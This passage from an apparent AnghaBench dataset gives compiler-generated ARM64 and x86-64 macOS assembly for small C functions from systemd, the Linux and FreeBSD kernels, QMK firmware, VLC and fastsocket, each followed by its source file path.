[x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _arg_machine_id,4,2 ; @arg_machine_id .no_dead_strip _set_machine_id .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function set_machine_id _set_machine_id: ## @set_machine_id .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq -16(%rbp), %rdi callq _assert movq -16(%rbp), %rdi leaq -20(%rbp), %rsi callq _sd_id128_from_string cmpq $0, %rax jge LBB0_2 ## %bb.1: xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_5 LBB0_2: movl -20(%rbp), %edi callq _sd_id128_is_null cmpq $0, %rax je LBB0_4 ## %bb.3: xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_5 LBB0_4: movl -20(%rbp), %ecx movq _arg_machine_id@GOTPCREL(%rip), %rax movl %ecx, (%rax) movl $0, -4(%rbp) LBB0_5: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _arg_machine_id,4,2 ## @arg_machine_id .no_dead_strip _set_machine_id .subsections_via_symbols
AnghaBench/systemd/src/core/extr_main.c_set_machine_id.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function cm_x300_battery_critical _cm_x300_battery_critical: ; @cm_x300_battery_critical .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .comm _APM_CRITICAL_SUSPEND,4,2 ; @APM_CRITICAL_SUSPEND .no_dead_strip _cm_x300_battery_critical .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function cm_x300_battery_critical _cm_x300_battery_critical: ## @cm_x300_battery_critical .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .comm _APM_CRITICAL_SUSPEND,4,2 ## @APM_CRITICAL_SUSPEND .no_dead_strip _cm_x300_battery_critical .subsections_via_symbols
AnghaBench/linux/arch/arm/mach-pxa/extr_cm-x300.c_cm_x300_battery_critical.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ax88178_change_mtu _ax88178_change_mtu: ; @ax88178_change_mtu .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] ldur x0, [x29, #-16] bl _netdev_priv str x0, [sp, #16] ldur w8, [x29, #-20] ldur x9, [x29, #-16] ldr w9, [x9] add w8, w8, w9 add w8, w8, #4 str w8, [sp, #12] ldr x8, [sp, #16] ldr w0, [x8, #8] ldur w2, [x29, #-20] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _netdev_dbg ldr w8, [sp, #12] ldr x9, [sp, #16] ldr w10, [x9] sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _EDOM@GOTPAGE ldr x8, [x8, _EDOM@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_3 LBB0_2: ldur w8, [x29, #-20] ldur x9, [x29, #-16] str w8, [x9, #4] ldur x8, [x29, #-16] ldr w8, [x8, #4] ldur x9, [x29, #-16] ldr w9, [x9] add w8, w8, w9 ldr x9, [sp, #16] str w8, [x9, #4] ldr x0, [sp, #16] bl _ax88178_set_mfb ldr x0, [sp, #16] bl _usbnet_update_max_qlen stur wzr, [x29, #-4] b LBB0_3 LBB0_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "ax88178_change_mtu() new_mtu=%d\n" .comm _EDOM,4,2 ; @EDOM .no_dead_strip _ax88178_change_mtu .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ax88178_change_mtu _ax88178_change_mtu: ## @ax88178_change_mtu .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movq -16(%rbp), %rdi callq _netdev_priv movq %rax, -32(%rbp) movl -20(%rbp), %eax movq -16(%rbp), %rcx addl (%rcx), %eax addl $4, %eax movl %eax, -36(%rbp) movq -32(%rbp), %rax movl 8(%rax), %edi movl -20(%rbp), %edx leaq L_.str(%rip), %rsi callq _netdev_dbg movl -36(%rbp), %eax movq -32(%rbp), %rcx cltd idivl (%rcx) cmpl $0, %edx jne LBB0_2 ## %bb.1: xorl %eax, %eax movq _EDOM@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_3 LBB0_2: movl -20(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, 4(%rax) movq -16(%rbp), %rax movl 4(%rax), %ecx movq -16(%rbp), %rax addl (%rax), %ecx movq -32(%rbp), %rax movl %ecx, 4(%rax) movq -32(%rbp), %rdi callq _ax88178_set_mfb movq -32(%rbp), %rdi callq _usbnet_update_max_qlen movl $0, -4(%rbp) LBB0_3: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "ax88178_change_mtu() new_mtu=%d\n" .comm _EDOM,4,2 ## @EDOM .no_dead_strip _ax88178_change_mtu .subsections_via_symbols
AnghaBench/linux/drivers/net/usb/extr_asix_devices.c_ax88178_change_mtu.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _scif_controller_set_interrupt_coalescence ; -- Begin function scif_controller_set_interrupt_coalescence .p2align 2 _scif_controller_set_interrupt_coalescence: ; @scif_controller_set_interrupt_coalescence .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur x1, [x29, #-24] str x2, [sp, #32] ldur x8, [x29, #-16] str x8, [sp, #24] ldr x0, [sp, #24] bl _scif_sas_controller_is_overriding_interrupt_coalescence subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_1 LBB0_1: ldr x8, [sp, #24] ldr w0, [x8] add x1, sp, #16 add x2, sp, #8 bl _scic_controller_get_interrupt_coalescence ldr x8, [sp, #24] ldr w0, [x8] ldur x1, [x29, #-24] ldr x2, [sp, #32] bl _scic_controller_set_interrupt_coalescence str x0, [sp] ldr x8, [sp] adrp x9, _SCI_SUCCESS@GOTPAGE ldr x9, [x9, _SCI_SUCCESS@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldur x8, [x29, #-24] ldr x9, [sp, #24] str x8, [x9, #16] ldr x8, [sp, #32] ldr x9, [sp, #24] str x8, [x9, #8] b LBB0_3 LBB0_3: ldr x8, [sp, #24] ldr w0, [x8] ldr x1, [sp, #16] ldr x2, [sp, #8] bl _scic_controller_set_interrupt_coalescence ldr x8, [sp] stur x8, [x29, #-8] b LBB0_5 LBB0_4: ldr x8, [sp, #24] ldr w0, [x8] ldur x1, [x29, #-24] ldr x2, [sp, #32] bl _scic_controller_set_interrupt_coalescence stur x0, [x29, #-8] b LBB0_5 LBB0_5: ldur x0, [x29, #-8] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _SCI_SUCCESS,8,3 ; @SCI_SUCCESS .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _scif_controller_set_interrupt_coalescence ## -- Begin function scif_controller_set_interrupt_coalescence .p2align 4, 0x90 _scif_controller_set_interrupt_coalescence: ## @scif_controller_set_interrupt_coalescence .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movq -16(%rbp), %rax movq %rax, -40(%rbp) movq -40(%rbp), %rdi callq _scif_sas_controller_is_overriding_interrupt_coalescence cmpq $0, %rax je LBB0_4 ## %bb.1: movq -40(%rbp), %rax movl (%rax), %edi leaq -48(%rbp), %rsi leaq -56(%rbp), %rdx callq _scic_controller_get_interrupt_coalescence movq -40(%rbp), %rax movl (%rax), %edi movq -24(%rbp), %rsi movq -32(%rbp), %rdx callq _scic_controller_set_interrupt_coalescence movq %rax, -64(%rbp) movq -64(%rbp), %rax movq _SCI_SUCCESS@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_3 ## %bb.2: movq -24(%rbp), %rcx movq -40(%rbp), %rax movq %rcx, 16(%rax) movq -32(%rbp), %rcx movq -40(%rbp), %rax movq %rcx, 8(%rax) LBB0_3: movq -40(%rbp), %rax movl (%rax), %edi movq -48(%rbp), %rsi movq -56(%rbp), %rdx callq _scic_controller_set_interrupt_coalescence movq -64(%rbp), %rax movq %rax, -8(%rbp) jmp LBB0_5 LBB0_4: movq -40(%rbp), %rax movl (%rax), %edi movq -24(%rbp), %rsi movq -32(%rbp), %rdx callq _scic_controller_set_interrupt_coalescence movq %rax, -8(%rbp) LBB0_5: movq -8(%rbp), %rax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _SCI_SUCCESS,8,3 ## @SCI_SUCCESS .subsections_via_symbols
AnghaBench/freebsd/sys/dev/isci/scil/extr_scif_sas_controller.c_scif_controller_set_interrupt_coalescence.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function r21au_dfs_radar_disable _r21au_dfs_radar_disable: ; @r21au_dfs_radar_disable .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] mov w1, #2340 mov w2, #32768 mov w3, #0 bl _rtwn_bb_setbits ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _r21au_dfs_radar_disable .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function r21au_dfs_radar_disable _r21au_dfs_radar_disable: ## @r21au_dfs_radar_disable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi movl $2340, %esi ## imm = 0x924 movl $32768, %edx ## imm = 0x8000 xorl %ecx, %ecx callq _rtwn_bb_setbits addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _r21au_dfs_radar_disable .subsections_via_symbols
AnghaBench/freebsd/sys/dev/rtwn/rtl8821a/usb/extr_r21au_dfs.c_r21au_dfs_radar_disable.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _usb_debug_flush_output ; -- Begin function usb_debug_flush_output .p2align 2 _usb_debug_flush_output: ; @usb_debug_flush_output .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _SREG@GOTPAGE ldr x8, [x8, _SREG@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] bl _cli adrp x8, _debug_flush_timer@GOTPAGE ldr x8, [x8, _debug_flush_timer@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_5 b LBB0_1 LBB0_1: adrp x8, _DEBUG_TX_ENDPOINT@GOTPAGE ldr x8, [x8, _DEBUG_TX_ENDPOINT@GOTPAGEOFF] ldr w8, [x8] adrp x9, _UENUM@GOTPAGE ldr x9, [x9, _UENUM@GOTPAGEOFF] str w8, [x9] b LBB0_2 LBB0_2: ; =>This Inner Loop Header: Depth=1 adrp x8, _UEINTX@GOTPAGE ldr x8, [x8, _UEINTX@GOTPAGEOFF] ldr w8, [x8] adrp x9, _RWAL@GOTPAGE ldr x9, [x9, _RWAL@GOTPAGEOFF] ldr w10, [x9] mov w9, #1 lsl w9, w9, w10 ands w8, w8, w9 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_2 Depth=1 adrp x8, _UEDATX@GOTPAGE ldr x8, [x8, _UEDATX@GOTPAGEOFF] str xzr, [x8] b LBB0_2 LBB0_4: mov w8, #58 adrp x9, _UEINTX@GOTPAGE ldr x9, [x9, _UEINTX@GOTPAGEOFF] str w8, [x9] adrp x8, _debug_flush_timer@GOTPAGE ldr x8, [x8, _debug_flush_timer@GOTPAGEOFF] str xzr, [x8] b LBB0_5 LBB0_5: ldur w8, [x29, #-4] adrp x9, _SREG@GOTPAGE ldr x9, [x9, _SREG@GOTPAGEOFF] str w8, [x9] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _SREG,4,2 ; @SREG .comm _debug_flush_timer,8,3 ; @debug_flush_timer .comm _DEBUG_TX_ENDPOINT,4,2 ; @DEBUG_TX_ENDPOINT .comm _UENUM,4,2 ; @UENUM .comm _UEINTX,4,2 ; @UEINTX .comm _RWAL,4,2 ; @RWAL .comm _UEDATX,8,3 ; @UEDATX .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _usb_debug_flush_output ## -- Begin function usb_debug_flush_output .p2align 4, 0x90 _usb_debug_flush_output: ## @usb_debug_flush_output .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq _SREG@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) movb $0, %al callq _cli movq _debug_flush_timer@GOTPCREL(%rip), %rax cmpq $0, (%rax) je LBB0_5 ## %bb.1: movq _DEBUG_TX_ENDPOINT@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _UENUM@GOTPCREL(%rip), %rax movl %ecx, (%rax) LBB0_2: ## =>This Inner Loop Header: Depth=1 movq _UEINTX@GOTPCREL(%rip), %rax movl (%rax), %eax movq _RWAL@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx andl %ecx, %eax cmpl $0, %eax je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movq _UEDATX@GOTPCREL(%rip), %rax movq $0, (%rax) jmp LBB0_2 LBB0_4: movq _UEINTX@GOTPCREL(%rip), %rax movl $58, (%rax) movq _debug_flush_timer@GOTPCREL(%rip), %rax movq $0, (%rax) LBB0_5: movl -4(%rbp), %ecx movq _SREG@GOTPCREL(%rip), %rax movl %ecx, (%rax) addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _SREG,4,2 ## @SREG .comm _debug_flush_timer,8,3 ## @debug_flush_timer .comm _DEBUG_TX_ENDPOINT,4,2 ## @DEBUG_TX_ENDPOINT .comm _UENUM,4,2 ## @UENUM .comm _UEINTX,4,2 ## @UEINTX .comm _RWAL,4,2 ## @RWAL .comm _UEDATX,8,3 ## @UEDATX .subsections_via_symbols
AnghaBench/qmk_firmware/tmk_core/protocol/pjrc/extr_usb_debug.c_usb_debug_flush_output.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ReadPaktChunk _ReadPaktChunk: ; @ReadPaktChunk .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _VLC_EGENERIC@GOTPAGE ldr x8, [x8, _VLC_EGENERIC@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur x0, [x29, #-16] ldur x8, [x29, #-16] ldr x8, [x8, #8] str x8, [sp, #24] ldur x8, [x29, #-16] ldr w0, [x8] add x1, sp, #16 mov w2, #24 bl _vlc_stream_Peek subs w8, w0, #24 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x0, [x29, #-16] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _msg_Err ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_2: ldr x0, [sp, #16] ldr x8, [sp, #24] add x1, x8, #20 bl _ReadBEInt64ToUInt64 subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldur x0, [x29, #-16] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _msg_Err ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_4: ldr x8, [sp, #16] add x0, x8, #32 ldr x8, [sp, #24] add x1, x8, #16 bl _ReadBEInt64ToUInt64 subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldur x0, [x29, #-16] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _msg_Err ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_6: ldr x8, [sp, #16] add x0, x8, #64 ldr x8, [sp, #24] add x1, x8, #12 bl _ReadBEInt32ToUInt32 subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ldur x0, [x29, #-16] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _msg_Err ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_8: ldr x8, [sp, #16] add x0, x8, #80 ldr x8, [sp, #24] add x1, x8, #8 bl _ReadBEInt32ToUInt32 subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ldur x0, [x29, #-16] adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _msg_Err ldr x8, [sp, #8] ; 8-byte Folded Reload ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_10: ldur x8, [x29, #-16] ldr w0, [x8] bl _vlc_stream_Tell add x8, x0, #24 ldr x9, [sp, #24] str x8, [x9] adrp x8, _VLC_SUCCESS@GOTPAGE ldr x8, [x8, _VLC_SUCCESS@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_11: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Couldn't peek packet descriptions" .comm _VLC_EGENERIC,4,2 ; @VLC_EGENERIC l_.str.1: ; @.str.1 .asciz "Invalid packet table: i_num_packets is negative." l_.str.2: ; @.str.2 .asciz "Invalid packet table: i_num_valid_frames is negative." l_.str.3: ; @.str.3 .asciz "Invalid packet table: i_num_priming_frames is negative." l_.str.4: ; @.str.4 .asciz "Invalid packet table: i_num_remainder_frames is negative." .comm _VLC_SUCCESS,4,2 ; @VLC_SUCCESS .no_dead_strip _ReadPaktChunk .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ReadPaktChunk _ReadPaktChunk: ## @ReadPaktChunk .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -16(%rbp) movq -16(%rbp), %rax movq 8(%rax), %rax movq %rax, -24(%rbp) movq -16(%rbp), %rax movl (%rax), %edi leaq -32(%rbp), %rsi movl $24, %edx callq _vlc_stream_Peek cmpl $24, %eax jge LBB0_2 ## %bb.1: movq -16(%rbp), %rdi leaq L_.str(%rip), %rsi callq _msg_Err movq _VLC_EGENERIC@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_2: movq -32(%rbp), %rdi movq -24(%rbp), %rsi addq $20, %rsi callq _ReadBEInt64ToUInt64 cmpq $0, %rax je LBB0_4 ## %bb.3: movq -16(%rbp), %rdi leaq L_.str.1(%rip), %rsi callq _msg_Err movq _VLC_EGENERIC@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_4: movq -32(%rbp), %rdi addq $32, %rdi movq -24(%rbp), %rsi addq $16, %rsi callq _ReadBEInt64ToUInt64 cmpq $0, %rax je LBB0_6 ## %bb.5: movq -16(%rbp), %rdi leaq L_.str.2(%rip), %rsi callq _msg_Err movq _VLC_EGENERIC@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_6: movq -32(%rbp), %rdi addq $64, %rdi movq -24(%rbp), %rsi addq $12, %rsi callq _ReadBEInt32ToUInt32 cmpq $0, %rax je LBB0_8 ## %bb.7: movq -16(%rbp), %rdi leaq L_.str.3(%rip), %rsi callq _msg_Err movq _VLC_EGENERIC@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_8: movq -32(%rbp), %rdi addq $80, %rdi movq -24(%rbp), %rsi addq $8, %rsi callq _ReadBEInt32ToUInt32 cmpq $0, %rax je LBB0_10 ## %bb.9: movq -16(%rbp), %rdi leaq L_.str.4(%rip), %rsi callq _msg_Err movq _VLC_EGENERIC@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_10: movq -16(%rbp), %rax movl (%rax), %edi callq _vlc_stream_Tell movq %rax, %rcx addq $24, %rcx movq -24(%rbp), %rax movq %rcx, (%rax) movq _VLC_SUCCESS@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) LBB0_11: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Couldn't peek packet descriptions" .comm _VLC_EGENERIC,4,2 ## @VLC_EGENERIC L_.str.1: ## @.str.1 .asciz "Invalid packet table: i_num_packets is negative." L_.str.2: ## @.str.2 .asciz "Invalid packet table: i_num_valid_frames is negative." L_.str.3: ## @.str.3 .asciz "Invalid packet table: i_num_priming_frames is negative." L_.str.4: ## @.str.4 .asciz "Invalid packet table: i_num_remainder_frames is negative." .comm _VLC_SUCCESS,4,2 ## @VLC_SUCCESS .no_dead_strip _ReadPaktChunk .subsections_via_symbols
AnghaBench/vlc/modules/demux/extr_caf.c_ReadPaktChunk.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ofw_pcibus_assign_interrupt _ofw_pcibus_assign_interrupt: ; @ofw_pcibus_assign_interrupt .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-8] stur w1, [x29, #-12] ldur w0, [x29, #-12] bl _ofw_bus_get_node adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF add x2, sp, #16 mov w3, #4 bl _OF_getprop str w0, [sp, #12] ldrsw x8, [sp, #12] subs x8, x8, #4 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur w0, [x29, #-12] bl _pci_get_intpin str w0, [sp, #16] b LBB0_5 LBB0_2: ldr w8, [sp, #16] subs w8, w8, #255 cset w8, lt tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr w0, [sp, #16] bl _INTINO stur w0, [x29, #-4] b LBB0_6 LBB0_4: b LBB0_5 LBB0_5: ldur w0, [x29, #-8] bl _device_get_parent ldur w1, [x29, #-12] ldr w2, [sp, #16] bl _PCIB_ROUTE_INTERRUPT stur w0, [x29, #-4] b LBB0_6 LBB0_6: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "interrupts" .no_dead_strip _ofw_pcibus_assign_interrupt .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ofw_pcibus_assign_interrupt _ofw_pcibus_assign_interrupt: ## @ofw_pcibus_assign_interrupt .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -8(%rbp) movl %esi, -12(%rbp) movl -12(%rbp), %edi callq _ofw_bus_get_node movl %eax, %edi leaq L_.str(%rip), %rsi leaq -16(%rbp), %rdx movl $4, %ecx callq _OF_getprop movl %eax, -20(%rbp) movslq -20(%rbp), %rax cmpq $4, %rax je LBB0_2 ## %bb.1: movl -12(%rbp), %edi callq _pci_get_intpin movl %eax, -16(%rbp) jmp LBB0_5 LBB0_2: cmpl $255, -16(%rbp) jl LBB0_4 ## %bb.3: movl -16(%rbp), %edi callq _INTINO movl %eax, -4(%rbp) jmp LBB0_6 LBB0_4: jmp LBB0_5 LBB0_5: movl -8(%rbp), %edi callq _device_get_parent movl %eax, %edi movl -12(%rbp), %esi movl -16(%rbp), %edx callq _PCIB_ROUTE_INTERRUPT movl %eax, -4(%rbp) LBB0_6: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "interrupts" .no_dead_strip _ofw_pcibus_assign_interrupt .subsections_via_symbols
AnghaBench/freebsd/sys/sparc64/pci/extr_ofw_pcibus.c_ofw_pcibus_assign_interrupt.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ghash_async_exit_tfm _ghash_async_exit_tfm: ; @ghash_async_exit_tfm .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] bl _crypto_tfm_ctx str x0, [sp] ldr x8, [sp] ldr w0, [x8] bl _cryptd_free_ahash ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _ghash_async_exit_tfm .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ghash_async_exit_tfm _ghash_async_exit_tfm: ## @ghash_async_exit_tfm .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _crypto_tfm_ctx movq %rax, -16(%rbp) movq -16(%rbp), %rax movl (%rax), %edi callq _cryptd_free_ahash addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _ghash_async_exit_tfm .subsections_via_symbols
AnghaBench/fastsocket/kernel/arch/x86/crypto/extr_ghash-clmulni-intel_glue.c_ghash_async_exit_tfm.c
